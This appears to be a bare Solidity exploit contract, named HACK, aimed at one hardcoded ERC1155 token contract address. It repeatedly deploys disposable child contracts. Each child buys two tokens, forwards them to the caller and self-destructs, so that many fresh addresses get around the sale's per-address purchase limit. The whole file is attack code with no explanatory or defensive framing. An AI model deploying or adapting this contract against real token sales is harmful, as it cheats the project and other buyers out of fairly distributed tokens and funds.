// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.1; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; contract HACK { uint256 private constant PRICE = 0.004 ether; function execute() external payable { while (address(this).balance >= PRICE) { new ADIMC{value: PRICE}(msg.sender); } } } contract ADIMC is IERC1155Receiver { address private receiver; OMC private constant T = OMC(0x002B05D98C303eA14FbF060476C4B32827822048); IERC1155 private constant S = IERC1155(0x002B05D98C303eA14FbF060476C4B32827822048); constructor(address _receiver) payable { receiver = _receiver; T.purchase{value: msg.value}(2); S.safeTransferFrom(address(this), receiver, 0, 2, ""); selfdestruct(payable(receiver)); } function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes memory ) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } function onERC1155Received( address, address, uint256, uint256, bytes calldata ) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function supportsInterface(bytes4) external pure override returns (bool) { return true; } } interface Hack { function execute() external payable; } interface OMC { function purchase(uint256) external payable; }
0.7.1